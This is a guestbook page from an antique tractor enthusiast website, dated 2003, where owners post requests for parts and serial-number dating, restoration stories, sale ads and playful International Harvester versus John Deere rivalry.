carl kitchen wrote on Friday, May 09, 2003 (PDT):nice to see i jsut bought one and don't know what is is, cast front wheels round spokes on the rear 12 '' wide no rocker cover and i don't see any ident
Craig & and Josh Reinke wrote on Thursday, May 08, 2003 (PDT):nice looking waterloo
Jim Lockhart wrote on Thursday, May 08, 2003 (PDT):I am in need of some info,if anyone could help it would be appreciated.Ok to start off I bought what was said to be a 1939 F 20,serial # "FA 14615" and according the this sites serial # page its a '35.But the back rims are that of a 39 according to all the pics I have seen.If you can help or need a pic of it please email me.Thanks
David Reise wrote on Thursday, May 08, 2003 (PDT):Have a Pony (with hydraulics) I've restored... have cultivators, and left and right hand plows, I need the small set of linkage that selects the drop of either the left or right hand plow. linkage is located on left and right side to rear of fender.. any leads contact me direct thanks in advance. David Reise Portsmouth Rhode Island
David Reise wrote on Thursday, May 08, 2003 (PDT):Have a Pony (with hydraulics) I've restored... have cultivators, and left and right hand plows, I need the small set of linkage that selects the drop of either the left or right hand plow. linkage is located on left and right side to rear of fender.. any leads contact me direct thanks in advance
Worth Turley wrote on Thursday, May 08, 2003 (PDT):I have a super 55 with a 4 cylinder gas engine. I am needing to rebuild the motor. can anyone point me in the right direction for a rebuild kit. I am not sure what year it is. Thanks in advance.
Josh Reinke wrote on Wednesday, May 07, 2003 (PDT):Neat tractor dude!I neverseen one of those before must be really rare.?
ally sangster wrote on Wednesday, May 07, 2003 (PDT):restoring a T6 looking to date it.. serial number i have for it is TD BK932617..... also needing top idler roller for same.
tom docteur wrote on Tuesday, May 06, 2003 (PDT):I'm looking for sleeves,bearings,pistons,rods,ect.. for a 1939f-20.serial#1366 87n. Thanks
Roger wrote on Saturday, May 03, 2003 (PDT):How do you get a Cockshutt 40 under 4500# for pulling? My 40 is 4760# with no wheel weights or fluid. I would like to keep it stock and get it below 4500# if possible. Also does an Allis D19 engine bolt in the same as the Buda engine or do you have do some modifcations?
Dan Allen wrote on Thursday, May 01, 2003 (PDT):was interested in buying a G1000 was wanting a little history on it
Jim wrote on Tuesday, April 29, 2003 (PDT):I am interested in either a 1655 or 1755 diesel cab tractor in real good shape.
Jim wrote on Tuesday, April 29, 2003 (PDT):I would be interested in 1655 or 1755 diesel tractor with a good cab. Tractor must be in good working condition, thanks.
Peter wrote on Monday, April 28, 2003 (PDT):HI-my family is looking to purchase a Farmall B tractor in good condition for my Dad's 70th Birthday present. We are located in northern Wisconsin. If anyone has information-please e-mail. Thank you.
larry wrote on Monday, April 28, 2003 (PDT):I have a d15 series 2 diesel..it needs engine work,head and crank to be exact..anybody know where i cud get an engine,or wood anybody like it the way it is,rest of tract not bad condition
Eden Martin wrote on Sunday, April 27, 2003 (PDT):I have a 73 IH 1066. It has 9000 hours (1000 hrs on overhaul) runs and pulls great. I want to paint it and put on new decals. Where can I buy the right paint and decals at discount?
Jack Yingling wrote on Sunday, April 27, 2003 (PDT):WHERE ARE THE IDENTIFICATION NUMBERS LOCATED,I FOUND A SET OF NUMBERS ON THE RIGHT SIDE OF THE ENGINE BLOCK, #A12CCA. BUT CANT FIND ANY THAT COME CLOSE TO MATCHING THE NUMBERS SHOWN ON THIS WEB SITE,WOULD APPRECIATE ANY HELP ON THIS SO I CAN FIND THE DATE OF MANUFACTURE.
kevin wrote on Saturday, April 26, 2003 (PDT):looking for an F-14 to buy. I'm located in NY and will travel. thanks
Ralph Barnett wrote on Thursday, April 24, 2003 (PDT):I found everything I need for my 550 oliver at korvesoliver.com
nate wrote on Wednesday, April 23, 2003 (PDT):I have a oliver 770 i bout it last summer think it is a good tractor for a yong fella like me but I don't know the year serial #90179 721 can someone help it is a gas job thanks and god bless
Paul Easterwood wrote on Tuesday, April 22, 2003 (PDT):I am restoring a 1948 Allis G and am having lots of trouble locating a place or company where I can purchase the rear tires and tubes. Can anyone help me with this info. Please
Paul Easterwood wrote on Tuesday, April 22, 2003 (PDT):I am restoring a 1948 Allis G and am having lots of trouble locating a place or company where I can purchase the rear tires and tubes. Can anyone help me with this info. Please
806 man wrote on Sunday, April 20, 2003 (PDT):mean green should shut the hell up about jd's. pills of junk. started farming with red bought a jd blow up. if your going to became macanik you lern how to fics jd's. you doumt have to fices IH red.
Gary H. Martin wrote on Sunday, April 20, 2003 (PDT):Hi! I was wondering if it hard to get parts for this tractor. Where do you go to get the parts on the internet and are they hard to get because I was thinking of trading a international 300 tractor for the oliver 55.My Dad use to have one and I ready liked it. I like it better than the international 300. Thanks Gary
Tom Lendt wrote on Saturday, April 19, 2003 (PDT):I have both a 61 Lo-boy and a 74 154. The 74 came with a beautiful 3 point hitch w/2 way cyl and blade, and as I only mow with this tractor it is for sale. The 61 has a front blade, runs great and is also for sale. If anyone is interested please email for pics/details, located Des Moines, IA
Dave Schrader wrote on Saturday, April 19, 2003 (PDT):I grew up with IH tractors. At 1 time Dad owned a Super "M" 2 "M" 's and an "H". I ended up with the Super M when Dad retired and then bought a 806 Diesel (what a tractor that was). I have sense quit farming myself and sold both tractors. I used to tell my neighbors who had other makes of tractors. "If it ain't RED leave it in the shed!"
mike wrote on Thursday, April 17, 2003 (PDT):we curently own a 99 6cyl deisel, and a 99GM. never pulled just farmed would like to be in a few local pulls any advice?
bill wrote on Wednesday, April 16, 2003 (PDT):I am restoring a W4 and would like to find photos of advertisements from when it was introduced. I have such a photo archive from the introduction of the cub tractor. Any ideas are appreciated.
Clay Marceaux wrote on Wednesday, April 16, 2003 (PDT):I have never restored anything before so I need a little help. I think I am looking at an R and I need to know where is the tag with ser. number,model number, located on an R, if it has one at all. Thank you.
Rockie Brown wrote on Monday, April 14, 2003 (PDT):I need help on a 3 point hitch problem. I bought a MH that I believe is a 33. It has a 3 point hitch that actually has the top link below the PTO (I stated incorrectly in another message that the top link was above the PTO which is normal). How can this operate anything and not interfere with the operation of the shaft?
Rockie Brown wrote on Monday, April 14, 2003 (PDT):I need help on a 3 point hitch problem. I bought a MH that I believe is a 33. It has a 3 point hitch that actually has the top link above the PTO. How can this operate anything and not interfere with the operation of the shaft?
Charles Clark wrote on Monday, April 14, 2003 (PDT):Back in 1961 or 1962 I tried out a new D-14 with 3-14s and it did quite well. So well that in alfalfa sod it just picked the front end off the ground and kept going having to be steered with the brakes. That was in some pretty heavy ground. I could never get together on a price with that dealer, but in 1963 I bought a new D-15 ser II and what a tractor,we wore it out by working it to do work should have been with a lot larger tractor. After the ring and pinion went for the third time we bought a D 19 Diesel. Many years later a D-14 has become part of our family. Itis for sale now that we realy don't have a lot for it to do. My phone # is 989-842-5279 We live in the middle of Michigan. Charles Clark
Andy Shoemaker wrote on Friday, April 11, 2003 (PDT):I have a 49D I am not yet sure of the serial number, but it seems to be in good mechanical condition, I also am looking for a gear shift kit, and does anyone know if you can buy parts for the brakes? I only have right sides presently and take it every year to the Southern Cove Power Reunion in New Enterprise PA. If anyone can find any information could you please E-mail it to me shoe at cove.net.
Eric Grone wrote on Thursday, April 10, 2003 (PDT):The D21 listed above was sold on April 10, 2003.
Eric Grone wrote on Thursday, April 10, 2003 (PDT):The D21 listed above was sold on April 10, 2003.
danny sutton wrote on Wednesday, April 09, 2003 (PDT):have a oliver 440 would like to sell 336 584.5549
Trevor Skinner wrote on Wednesday, April 09, 2003 (PDT):Basic diff hg42 versus oc3 slightly larger boreIxb-3 motor 1/8" larger. hg42is thermo syphon I have HG42 #46GA110, 1949. very nice tactor,but will overheat if pushed. mainly cosmetic diffs since 1939-1954.
J.W. Lamb wrote on Tuesday, April 08, 2003 (PDT):Wouild like to buy any make or model Orchard for resto..I'm located in E.Tn.Thanks,very much.J.W.
Ray Fehst wrote on Monday, April 07, 2003 (PDT):just bought a W4 in pretty good shape, running and very little rust, apparently has about 32hp. Came with PTO. Front end loader, hydrolics and power steering were added recently. It also came with a Massey baler. Any idea what years this model was produced and if $2000 Cdn was a fair price.
Andrew wrote on Saturday, April 05, 2003 (PST):I have a oliver 770, can anybody tell me the year of it? Serial number 94-155-736. Thanks!
walter hoskin wrote on Friday, April 04, 2003 (PST): can someone help me locate a cast air washer box for my 4wd gp. thanks for any help.you can at hoskinwh at kwic.com or ph 519 587 4551
James Schoenborn wrote on Thursday, April 03, 2003 (PST):Wanted; 2150 Oliver 4WD or 2050 Oliver 4WD. Must be in running condition.
Bob Scherzer wrote on Thursday, April 03, 2003 (PST):Sorry for my above posting requesting help on an overdrive trans for my F12 on this F14 forum but it must have worked. Got a contact on one located less than a 100 miles from me so I drove over today and bought tractor and all. It has a Heisler overdrive so I will be spared the trouble of trying to make one. So thanks guys for the help. Bob
tom cody wrote on Wednesday, April 02, 2003 (PST):I have a 1900 and a1950 that I have restored. I just finished an oc-12 and getting ready to start my next project
1066 all the way wrote on Wednesday, April 02, 2003 (PST):GOD DIDN'T MAKE EVERYTHING RED ONLY THE BEST INTERNATIONAL/FARMALL
1066 all the way wrote on Wednesday, April 02, 2003 (PST):Only one question. Why are John Deeres so expensive? Because they grind up money in the paint. All you are buying is the paint.
Travis Hoffine wrote on Wednesday, April 02, 2003 (PST):I have farmed with red and green equipment and I like them both about the same. We have gone to pretty much all green now with all the buyouts with IH.We have a 966 with a turbo that runs 148 hp at 3/4 throttle but our main tractors are green cause thats about the only dealer around.We have a 4430 and 7810 and a 9500 combine and it is all good equipment.
Larry Hart wrote on Wednesday, April 02, 2003 (PST):I have a Super Dexta, don't know what Model or Year make, but runs great. Also, I have a manual and would share if anyone interested.
Ron wrote on Monday, March 31, 2003 (PST):Just purchased an oliver 770 has power shift back wheels it is a 1962.answer to wt. of a 770 is 5565lb.
Milt Flannery wrote on Monday, March 31, 2003 (PST):In 1949 my oldest brother, Wink, was head mechanic at Mountain Dew Coal Company (Case Dealer). For Christmas in 1949 he gave me a toy Case tractor & wagon. In March of 1950 he died of a massive heart attack. I also had a complete set of John Deere farm machinery. In 1960 our house burned and I managed to get the Case tractor out and the other toys burned up. The toy Case is built like a Model SC or DC. Just recently I saw the front of a Case tractor in a shed on a barn at Warsaw, Ky. I stopped and asked the gentleman if I could look at it. He said that would be ok and if I liked it he would put it in my home. I bought the tractor and I have it at home and am in the process of restoring it. It looks just like the toy tractor my brother gave me in 1949.
John wrote on Sunday, March 30, 2003 (PST):What's the difference in an HG42 and OC3? I've been looking at what photos I can find but can't see any consistent differences. I see there are variations in the undercarriages.
Marvin Becker wrote on Sunday, March 30, 2003 (PST):I have purchased a 1949 Cockshutt "30" Ineed repair manuals and paint spects
H. Fry wrote on Saturday, March 29, 2003 (PST):Just purchased a really nice Case SC last week at a junk auction, (3-24-03) I could not stay there so I put a reserve price on it. they called that evening and said I had the last bid. this tractor was in really nice shape not even a mark or ding on the tin! It has the older style 3 pt hitch,(works) and even the original hand crank under the seat!. has the pto cover but no fenders, but the brackets are there. I really wanted the tractor for the engine and clutch to put in my Case SI unit I purchased a year ago.. the SI WAS a military unit as it has the all the original brass plates on it still saying it was in the airborne unit and tells the date and tractor weight. what a find! but,,, I since the SC works so good, I don't have the heart to dismantle it, so I guess I will just take it to the local tractor pull and beat the Farmall H's.. Have a good day!
Barry Andrews wrote on Wednesday, March 26, 2003 (PST):Hi, I see photos of a W4 that is similar to my Super BWD 6..Is mine a UK manufactured tractor Photos of the hydralic arms would be most useful,,,,Barry
Barry Andrews wrote on Wednesday, March 26, 2003 (PST):Hi,,I live in Cornwall UK,I own a McCormick BWD 6 ,built in 1954. I need to fit/find hydralic arms on it.Has anyone got information/ pictures of the arms fitted. It does have a hydralic drawbar. Barry
jeff o'harrow wrote on Monday, March 24, 2003 (PST):have sheppard sd2.sd3,sd4 looking to exchange information and parts
Ralph wrote on Monday, March 24, 2003 (PST):Have Oliver 60 Industrial Serial # 460520. Looking for parts - battery box, left and right grille sections, metal seat back. Any info would be appreciated
Terry Morley wrote on Sunday, March 23, 2003 (PST): I just got a "B" from Alabama. The motor is a basket case. I need a block, sleeves, pistons. This is a LOW BUDGET operation. If you know of a motor from an "A", Super A, "B", "BN", "AV", "C", or an IH generator, that I can lay my hands on here in Florida I sure would like to know about it. Thanks, Terry
Ralph Barnett wrote on Sunday, March 23, 2003 (PST):I would like to purchase a rubber seat spring for my 1959 550 oliver. Any help would be appreciate it. Thanks
David Carlson wrote on Sunday, March 23, 2003 (PST):does a D-14 have enough power to pull a 3-14 plow?
andy wrote on Saturday, March 22, 2003 (PST):CHAD;look for re-prints of original owner/operator manuals at your local I.H. dealer, I found mine there. DAVY; 2 point is same as fast hitch. No new sales that I know of. Look at the sales,auction sights linked to this web-sight, also auctions and local I.H. dealer trade-ins. GREG; the only thing rare about the tractor is the fact that the TA is still working. Most no longer work, but tractor is not affected by lack of working TA, they still will run forever. Just be ready to give it plenty to drink, they burn alot of gas. About the loader, not sure, think it's the I.H. model 3000 see some entries above in this column. Many questions will be answered.
davy wrote on Friday, March 21, 2003 (PST):I have a 300 utility. Equipped with a fast hitch. Is this the same as a 2pt. hitch. Also, where can I located fast hitch implements. Also looking for a front end loader. Preferably close to Maryland.
willis Desjardine wrote on Friday, March 21, 2003 (PST):I'm looking for engine parts for a Fordson Dexta tractor with a 144 Perkins diesel engine model 1958 to 1964 serial # ? please contact me at the e-mail address above or call me at 1-800-752-6706 ext.122 or page me at (337)475-0322. Thank You Willis Desjardine
806 man wrote on Thursday, March 20, 2003 (PST):My 806 would bet the balls off any john deere. So would any ih tractor. The 806 and 856 are good tractors. But the 806 will never go down aginst any john deere. If any one has a 806 with a strate pip will it trow a flam. My 806 will ever sins it came from the deler. My dad is the sconed oner and it was the guy's bigest tractor. His naber told me that it would come over the hill and be pulling the plow and it would be throwing the fiam. Then when night came he could still tell were he was cuose of the flam. I am 14 and have drove every siries of ih tracters from the F-20,B,M,H,SUPER MTA,560,606,806,856,1456,1066,1466,1086,1486 RED POWER,5288,7140, and a john deere A,B,4630,4640,8430, and I regret driving the jd's. SO GO RED AND STAY OF JOHN IN THE SHOP ALL THE TIME DEERE PEOPLE
806 man wrote on Thursday, March 20, 2003 (PST):My 806 would bet the balls off any john deere. So would any ih tractor. The 806 and 856 are good tractors. But the 806 will never go down aginst any john deere. If any one has a 806 with a strate pip will it trow a flam. My 806 will ever sins it came from the deler. My dad is the sconed oner and it was the guy's bigest tractor. His naber told my that it would come over the hill and be pulling the plow and it would be throwing the fiam. Then when night came he could still tell were he was cuose of the flam. I am 14 and have drove every siries of ih tracters from the F-20,B,M,H,SUPER MTA,560,606,806,856,1456,1066,1466,1086,1486 RED POWER,5288,7140, and a john deere A,B,4630,4640,8430, and I regret it. SO GO RED AND STAY OF JOHN IN THE SHOP ALL THE TIME DEERE PEOPLE
Don Adkins wrote on Thursday, March 20, 2003 (PST):I have 1946 U.I'm trying rebuild the moter I need oversize pistons.Can anyone tell me where I can get some.THANKS
jason wrote on Thursday, March 20, 2003 (PST):funny how them deere boys can only spell JD too. Solid, Stable, still parked on blocks in the trees john deere
Doug Edwards wrote on Tuesday, March 18, 2003 (PST):Allis Chalmers 160 Features live PTO, live hydraulics, a Category II 3-point hitch, a 40 HP Perkins 3-cylinder diesel engine, differential lock, power adjustable rear wheels, and power steering. Very good condition, used very little over last 4 years, recently replaced transmission, engine runs well--always starts with no problem, and good tires. Located in Lawrenceburg, TN (70 miles SW of Nashville). Selling for $5300. Cost from tractordata.com listed at $6215 and average price at auction is $6000.
Aaron Bentley wrote on Tuesday, March 18, 2003 (PST):to Carlos Cadena the B farmall tractor doesnt have a water pump.they use whatis called thermosipion cooling which means warm water rises to the top of the radiator and as it continues through the radiator cooling becomes more dense. As it continues back into the block where it is heated again and rises back to the top again to the radiator.If you are filling it to the very top it will occasionly burp a little fluid ,but 2 quarts is a little much, you might need to have the radiator flushed or rodded.
ben wrote on Monday, March 17, 2003 (PST): Sweet tractor I know a guy with a black stripe ready to pull
Eric Grone wrote on Sunday, March 16, 2003 (PST):I have a 1969 D21 with 3 point and PTO, 20.8.38 tires, near mint condition. Would be willing to sell. If interested, call (402) 375-4635. (Wayne, Nebraska)
dave glover wrote on Friday, March 14, 2003 (PST):i am looking for a 9,10,1466 to pull with. would not matter if motor is worn. want to drop a 466 crank in her
dave glover wrote on Friday, March 14, 2003 (PST):i am looking for a 9,10,1466 to pull with. would not matter if motor is worn. want to drop a 466 crank in her
dave glover wrote on Friday, March 14, 2003 (PST):i am looking for a 9,10,1466 to pull with. would not matter if motor is worn. want to drop a 466 crank in her
dave glover wrote on Friday, March 14, 2003 (PST):i am looking for a 9,10,1466 to pull with. would not matter if motor is worn. want to drop a 466 crank in her
dave glover wrote on Friday, March 14, 2003 (PST):i am looking for a 9,10,1466 to pull with. would not matter if motor is worn. want to drop a 466 crank in her
Dale Sieverding wrote on Friday, March 14, 2003 (PST):The 10's are a good work tractor in the winter, but the 1456 is even better in the summer.
Diana Alvarez wrote on Thursday, March 13, 2003 (PST):Trying to gather information on a model 646 Case small tractor. I have had no luck. Can you help?
Randy Witney wrote on Monday, March 10, 2003 (PST):I recently purchased a Cockshutt 35 and have been unable to find any info on it. Can somebody help me .
mean green wrote on Tuesday, March 11, 2003 (GMT):I also forgot to mention that driving red tractors can make your spelling skills go down hill,That's also the only way an IH might be able to outrun a Deere,Being pushed down hill!!!
mean green wrote on Monday, March 10, 2003 (PST):I also forgot to mention that driving red tractors can make your spelling skills go down hill,That's also the only way an IH might be able to outrun a Deere,Being pushed down hill!!!
Bill Tankersley wrote on Monday, March 10, 2003 (PST):In 1947 my father purchased a new B.F. Avery model V form Montgomery Ward in Baltimore. We used this tractor on our truck crop farm till 1958. My dad sold it to a Mr. Lou Cost. I delivered it to his farm in the Back River neck area of Baltimore County. In the summer of 1997 my son (Rick)and I went looking for the Avery tractor. Mr. Cost is now deceased, but we found out that a neighbor had the Avery tractor. We pruchased the tractor from him.It had been setting in the woods for about 10 years and in very poor condition. It took us two years to restore the Avery.There were many hours of mechanical repairs ,sandblasting and painting.We rebuilted the tractor complete. In 2001 we won first place in the Forth of July parade Kingvilles MD. and first place at the Mason and Dixon Fair Delta PA. If anyone needs inforatoin about Avery tractors, where to get parts or help with problems in restoring Email me I will try to help you. There is a B.F. Avery Collector & Associates address is 14651 S. Edon Road Camden, Mi 49232. You can also check there web page at www.horizonview.net/~kault195
mean green wrote on Sunday, March 09, 2003 (PST):I will have to comment,Most of you red guys are right,The IH tractor line was a good one,But,John Deere has this one advantage,SOLID,STABLE,STILL JOHN DEERE!!!!
AE Maynes wrote on Sunday, March 09, 2003 (PST):I own a Massey 44 which I am in the process of restoring. the engine was seized and I broke a sleeve while getting out one cylinder. I am getting parts and will put in new sleeves and pistons.
jeff zeikle wrote on Saturday, March 08, 2003 (PST):Need a D-12 Nose Cone and battery Box.
jeff zeikle wrote on Saturday, March 08, 2003 (PST):Need a D-12 Nose Cone and battery Box.
Bill Tankersley wrote on Friday, March 07, 2003 (PST):My son (Rick) and I purchased a 1937 Silver King model R44 Oct 2002.Tractor was not runnig.Cleaned the carb, point ,installed new plug wires. Runs great, no somke.Do have a problem with the clutch. Can not get the tractor in gear.Have not worked on it due to the cold weather.The sheet metal is in very good condition, was keep in a barn.It is very tight I don't think it has many hour on it.Has original rear tires with diamomd tread, very poor condition.This was an estate sale and the man son claims his father purchased the tractor in 1950. He used it to pull a set of gang mowers.I also got the plow with the tractor, 16 inch one bottom. I need a drawbar for the tractor. I want to replace the rear tires and use the tractor to pull at the area shows.
Larry Ginter wrote on Thursday, March 06, 2003 (PST):I have found a AC 440 all wheel drive for sale the party who has it said to make an offer. It runs good has good rubber and sheet metal is straight paint not bad a good cleaning would make it look better. Does anyone out ther have any idea what this tractor is worth or where I could go to find out please e-mail me Larry
Paul Connors wrote on Thursday, March 06, 2003 (PST):I have a big interest in the old marshall tractors. There are about 4 or 5 in my local district of Lockington Victoria Australia. One of my mates has a series 3 Field Marshall fully restored. Down a few blocks from where I live there is an old farm that has two remains of field marshalls which wouldn't take too much to get going.
Lisa Doering wrote on Thursday, March 06, 2003 (PST):HELP! I need one of these Oliver Super 66's between years 1954 and 1958. I'm on the hunt for a gentleman here in Nebraska who has been searcing for this model for quite some time. Willing to travel to pick up the tractor, any condition, but of course we would prefer it running. Please contact me asap. Thanks!! Lisa
Roger Fowler wrote on Wednesday, March 05, 2003 (PST):Maggie Studt - Please tell me a little about your 550. Gas or deisel, power steering, live PTO, etc. What is your location?
jack wrote on Tuesday, March 04, 2003 (PST):I have a super 66 with loader for sale..$2000.00 and she's all yours..Runs good..360-494-7271..Located in Selah, Washington..98942[[bout as ugly as your picture]..!
Danny Berryman wrote on Tuesday, March 04, 2003 (PST):Super nice tractors 440 is rarer than Super 44. with only 700 being produced. 500 in 1960 and 200 in 1962
james laffond wrote on Tuesday, March 04, 2003 (PST):i have a minnie moline i think it is in the 1930's can i find out some how what year it is i would also like t find pictures and any other info on it thanks for anything you can give me jim
Gene Vande Voorde wrote on Tuesday, March 04, 2003 (PST):Want to buy a Farmall Super W4 TA to restore. Thanks.
scott wrote on Monday, March 03, 2003 (PST):I have a oc6 if any one needs one to restore or parts let me know 360 366 0354
Ashley wrote on Sunday, March 02, 2003 (PST):I am looking for an Oliver Super 99 Gas or a Super 44 Gas. If you or anyone you know have one of these tractors for sale please e-mail me.
Joe Powell wrote on Thursday, February 27, 2003 (PST):i'm looking for a g-1000 vista tractor either lp or diesel to restore. the neighbor has one and won't part with it. i first drove the vista as well as his g-900 and 1350 and 1355 mm when i was young. i liked the vista the best and won't one of my own,,, thanks,,, joe powell.
Etano wrote on Wednesday, February 26, 2003 (PST):My dad has a MM G1000. That tractor is the best starting tractor. It is a simple tractor to work with. Everthing is out in the open to work on. MM made a great tractor!!
over time wrote on Monday, February 24, 2003 (PST):I just resantly bot a minrter 1066. I am going to pull it this summer. It has a 750 honda moter. It looks just like a 1066. The lits and fiasing lites work. And I am posibly going to have to pull agenst a 4250 jd. If it ain't red don't hook it to the sled. PS I al so an the puller man
mike wrote on Monday, February 24, 2003 (PST): very nice 99
Etano wrote on Monday, February 24, 2003 (PST):I have a 1066. it is the best tractor around. Mine can pull a 6 bottom plow with out any trouble whats so ever!
Alvin Brandt wrote on Sunday, February 23, 2003 (PST):Alvin is in the process of restoring his Dad"s Farmall Regular.He would like to know where to find the serial number.He would also like to know the torque of the head bolts and exhaust manifold bolts.Would also like to know where to find a manual and a parts manual.
Darrel wrote on Thursday, February 20, 2003 (PST):I am working on AC K Crawler Monarch 35-1931 model-Serial No K-1483. I Need intake valves and starter, so far, maybe more parts later. Does anyone have either of these parts? Thanks
Mark Watrin wrote on Wednesday, February 19, 2003 (PST):I have just bought an 880 diesel, I had one as a kid and restored her. A shifting rail went out and my dad junked it for $880 dollars--ironic isn't it! Well every since I wantd one. I found one, but she is missing some parts. I am looking for a fuel gauge and amp gauge they are in the same modual. Any tips for restoring my 880 are surely welcomed Thank You Mark Watrin Sandstone, MN
Arthur B. Clark Georgia Southwestern State University wrote on Tuesday, February 18, 2003 (PST):University has a 1949 8N that we would like to restore for the school's centennial in 1906. Looking for someone close to Americus Ga to restore it. Americus is located about 135 miles south of Atlanta, 65 miles east of Columbus and 45 miles north of Albany. Would really like to get started on the restoration. Please contact me if you can help.
Eric wrote on Monday, February 17, 2003 (PST):For sale-1948 F Cub-very restorable-99% complete,cond. good. $ 1100 U S. Location--South British Columbia,Can. 250-353-2142
Burt Rocker wrote on Monday, February 17, 2003 (PST): My dad purchased an oliver 70 during the war, it was on steel, but was later converted to rubber. It was started on gas and then switched to tractor fuel. which we later converted to gas, we also had a couple of more road gears added. I learned to run this tractor as a young boy, we kept up till the late 50's.
Glenn wrote on Monday, February 17, 2003 (PST):I drove a F-12 from 1040 to 1949. Not sure of the year it was but it wasn't red. Couple unique features. We cut the steering wheel shaft off just behind the gear box, put a U joint in it and raised the wheel about 6 inches. We also had a spring-shock absorber seat on it. Anyone came across it?
Carl Portwood wrote on Monday, February 17, 2003 (PST):Hi, When I was a kid on the farm, my grandpa had a leader on his farm in Centralia, MO. Since it was small and I was about 10-12 years old, he let me do some of the little chores, hauling brush, etc. After I started, he couldn't keep me off of it. Brings back a lot of memories. That was about 1950 thru 1954.
Jim Hatton wrote on Friday, February 14, 2003 (PST):I know my employer just bought one this summer . He just put $1000in the clutch. He also needs a new torque put in, but other than that i love that tractor. It has so much power, torque and speed. Its great for what we use it for.
Maggie Studt wrote on Thursday, February 13, 2003 (PST):My husband has a 1950 Oliver 550 gas tractor that he is wanting to sell but not sure of a price for it. It has been well taken care of and runs great(he uses it around the farm)but it just isn't big enough for what he needs it for.
Tyler wrote on Thursday, February 13, 2003 (PST):My dad and I have a I4 and needs some info on it. does any buddy have any info on it thanks.
Bob wrote on Wednesday, February 12, 2003 (PST):Can someone tell me how much a W-4 weighs? Thank-you in advance
Red Herman wrote on Tuesday, February 11, 2003 (PST):I have a 1929 Rock Island 18-35 and am looking for a clutch and transmission parts. (Need other parts too.) I have other old tractors and many parts you might need . Please contact me. Thanks alot.
Eric wrote on Tuesday, February 11, 2003 (PST):I just purchased an oliver 770, year unknown, with a loader on it. The bucket tips forward on its own. Can any one tell me if this tractor has holding valve in the hydraulic system and where they would be located? Thank you.
Ballardbuilt Farm wrote on Monday, February 10, 2003 (PST):If it ain't old and red don't bother hooking to the sled!! Red's the best junk the rest!!
Chris wrote on Monday, February 10, 2003 (PST):My father had a D21 on our apple farm when I was growing up. I remember the size and the hp it had....There was nothing that it couldn't pull....A great tractor..would love to find one in fair condition...
Denny Wolf wrote on Monday, February 10, 2003 (PST):Grew up on a farm in South Dakota in 60s, had John Deere large tractors, but had a Cockshutt 30 live pto, used to pull 2 side delivery rakes, 36 ft. drag, main use was in the winter -35, -45 below would always start, if not hand crank would fire right up. Great tractor, many happy memories.
Tony Hardy wrote on Monday, February 10, 2003 (PST):Ray you Should be able to find most of those pto cluch parts at your local Johndeere dealer if you cant email me and i will check here in Ohio
RUSS wrote on Sunday, February 09, 2003 (PST):I recently purchased a 1945 model "B" and it has a seat shock and spring much like the model "C". Could this tractor have came original with this seat. I have seen several photos of restored "B" models with this setup. But most i see have the leaf spring setup like the model "A".
EPHANTUS WANJOHI wrote on Sunday, February 09, 2003 (PST):Please I want to buy a massey furgasson tractor 35 if possible and you have them for sale.
Myles wrote on Saturday, February 08, 2003 (PST):I have a 1953 Super W-4 International Tractor, and I wonde r if you would happen to know anyone who has the complete hydralic system for it.There is none on it and I would like to have the system for it.Please E-mail me back
Myles wrote on Saturday, February 08, 2003 (PST):I have a 1953 Super W-4 International Tractor, and I wonde r if you would happen to know anyone who has the complete hydralic system for it.There is none on it and I would like to have the system for it.Please E-mail me back
Brock Rutledge wrote on Saturday, February 08, 2003 (PST):I am 19 years old, andI have a 1942 JD H Serial #44012, I am almost finished the restoration of it after its 40 year sit. I need the front grilles and a rad cap. I am from Saskatchewan Canada, near the ND border. Any help on where I may be able to find an affordable set would be much appreciated.
richard sterner wrote on Saturday, February 08, 2003 (PST):if any one any questions about sheppard tractors or needs help call 717 263 4703 and ask for richard thank you
Gary Wattier of Wylie, Tx wrote on Saturday, February 08, 2003 (PST):I have noticed that alot of you out there are troubled about what model of AC you have. I hope I can shed some light on this subject. The WD tractor serial number is located on the top left differential brake housing. The year of this tractor was built from 1948 thru 1954 starting with #7 thru 160384. These numbers should start with WD then the number. The HP was about 35 The WD-45 HP was 45. The serial #'s for these tractors were from 146607 thru 236958. These #'s are located the same place as the WD's The prefix # will always start with "45" This tractor was built from 1953 thru 1957
Peter Zwarch wrote on Friday, February 07, 2003 (PST):Is it possible for the oil supply tube that runs through the block to leak water into the crankcase? I've already checked possibility of head gasket, warped/cracked head,& cracked cylinders.
Landes Holbrook wrote on Friday, February 07, 2003 (PST):I literally learned how to drive on my great grandfather's 1948 8N after we inherited his farm. I use to drive it around the block when my parents weren't home. Some how dad always knew I had taken it for a spin!
Morgan Larsson wrote on Friday, February 07, 2003 (PST):Hi, I'am restoring an W4 from 1948 and have problem to find out the Color fore the Wheels, I have seen photos with both silver and white. Can anyone help me? Morgan/Sweden.
D.K.Johnson wrote on Thursday, February 06, 2003 (PST):Just last week I purchased an OLIVER 99.I'm thinking of pulling tracors again.Can anyone advise me of the power potental?My 99 is a stock 6 cy.diesel.I'm hearing the 3cy.Det.ranging 168hp.If any one can help it would be greaty appreated.I'm located in SOUTH NEW JERSEY. PLEASE CONTACT ME BY E-MAIL kr4farm at aol.com
Jack Russell wrote on Thursday, February 06, 2003 (PST):I have a oliver 550 diesel serial number 84472-5--white dealer said it was made in 1960 ??--What mft.is maker of motor-- what other oliver parts and repair manual would be the same as the 550 dls Thanks
Darrell Berreth wrote on Wednesday, February 05, 2003 (PST):I also have one just like it, w/ 4 cyl. Cont. motor. I would like information on this model if anyone has some. Thanks
JEFF CHANDLER wrote on Tuesday, February 04, 2003 (PST):I have a 1947 international Harvester Serial Number IBH 17391 Model Number 14 with bucket am trying to find picture. If anyone has a picture please e-mail me. Thank you
David Lee wrote on Monday, February 03, 2003 (PST):I am in the process of restoring a 1942 Farmall "M" and I need a restorable battery box. If anyone has one I would appreciate an E-Mail.
David Lee wrote on Monday, February 03, 2003 (PST):I am in the process of restoring a Farmall "BN"(can be seen in the Gallery) and am in need of a restorable battery box. would appreciate any offers.
DARRYL KRAUSE wrote on Sunday, February 02, 2003 (PST):THIS PICTURE WAS TAKEN AT THE ANNUAL THRESSING BEE THE FIRST WEEKEND IN AUGUST IN LYNDEN,WA. DONT KNOW WHOS IT IS THOUGH.
DARRYL KRAUSE wrote on Sunday, February 02, 2003 (PST):THIS PICTURE WAS ALSO TAKEN FROM THE ANNUAL THRESSING BEE IN LYNDEN,WA.THE FIRST WEEKEND IN AUGUST,DONT KNOW WHO OWNS IT THOUGH.
